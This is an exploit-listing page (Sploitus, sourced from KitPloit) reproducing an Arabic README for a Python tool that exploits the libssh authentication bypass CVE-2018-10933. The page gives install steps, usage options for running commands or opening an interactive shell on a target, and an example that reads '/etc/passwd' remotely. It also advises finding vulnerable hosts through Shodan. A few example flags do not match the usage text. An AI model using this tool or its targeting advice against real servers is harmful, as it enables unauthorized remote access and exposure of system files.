Sploitus

Exploit for CVE-2018-10933 CVE-2018-10933 CVE-2018-7750

kitploit · 2026-08-25

Exploit Code

MARKDOWN105 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RUBIKCUV5-CVE-2018-10933
# CVE-2018-10933

* * *

تم اكتشاف ثغرة أمنية في آلة الحالة من جانب الخادم في libssh قبل الإصدارين 0.7.6 و0.8.4. يمكن للعميل الخبيث إنشاء قنوات دون إجراء المصادقة أولاً، مما يؤدي إلى وصول غير مصرح به.

## بعض التفاصيل

تنشأ المشكلة من الطريقة التي لا يحافظ بها libssh على حالة المصادقة وكيف يمكن استغلال ذلك لتجاوز المصادقة. ببساطة، يمكن تصور الاتصال كعملية متعددة الخطوات: الخطوة 1، الخطوة 2، الخطوة 3... بما أن libssh لا يفرض ترتيب الخطوات، يمكنك القفز مباشرة إلى الخطوة 3 دون المرور بالخطوتين 1 و2.

من المثير للاهتمام أنه تم اكتشاف نفس المشكلة في مكتبة SSH Paramiko سابقًا: CVE-2018-7750.

## الوثائق

Exploit-DB : https://www.exploit-db.com/exploits/45638

معلومات حول CVE-2018-10933 من libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt

إصدار الإصلاح من libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/

## الإعداد

root@kitploit:~
    
    
    sudo apt-get install python3
    
    gh repo clone EmmanuelCruzL/CVE-2018-10933
    
    pip3 install -r requirements.txt
    
    python3 main.py
    
    

## الاستخدام

root@kitploit:~
    
    
    usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
    
    Script for the vulnerabilities CVE-2018-10933
    
    positional arguments:
      host                  the ip or domain address of ssh server
    
    options:
      -h, --help            show this help message and exit
      -p PORT, --port PORT  The port the service ssh, default [22]
      -log, --logfile       Logfile to write conn logs
      -t, --test            check the version of libSSH
      -c COMMAND, --command COMMAND
                            command to execute
      -i, --interactive     open the interactive mode
       
    

## أمثلة إثبات المفهوم

### مثال (تحقق مما إذا كان المضيف ضعيفًا)

root@kitploit:~
    
    
    python3 main.py  0.0.0.0 -port 22  -t
    

![](https://imgr.co/cache/img/2b54583d34c2d1406025927166ad6d1f.jpg)

### مثال (إرسال أمر عبر وسيط)

root@kitploit:~
    
    
    python3 main.py  0.0.0.0 -p 22  -c "cat /etc/passwd"
    

![](https://assets.kitploit.com/production/public/readmes/20247/f801c4f7dba278e751fde3e20edc4cf3802ab7ad99b6aa5a0726bb3f96849193.png)

### مثال (استخدام وحدة تحكم تفاعلية بسيطة)

root@kitploit:~
    
    
    python3 main.py  0.0.0.0 -p 22  -l
    

![](https://assets.kitploit.com/production/public/readmes/20247/c5f9b4246a6c432403e7c51be5bd941b4e9564469da33129cfbe4dbfe83f58d1.png)

## Shodan.io libSSH

root@kitploit:~
    
    
    [!] can find  devices vulnerables using shodan.io 
    -  ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
    

![](https://assets.kitploit.com/production/public/readmes/20247/c4d147570a82d9e7370f840315bd7372720b750f9ce8e098bcf4ed076c5ba0b0.png)

## المؤلفون

  * Rubickcuv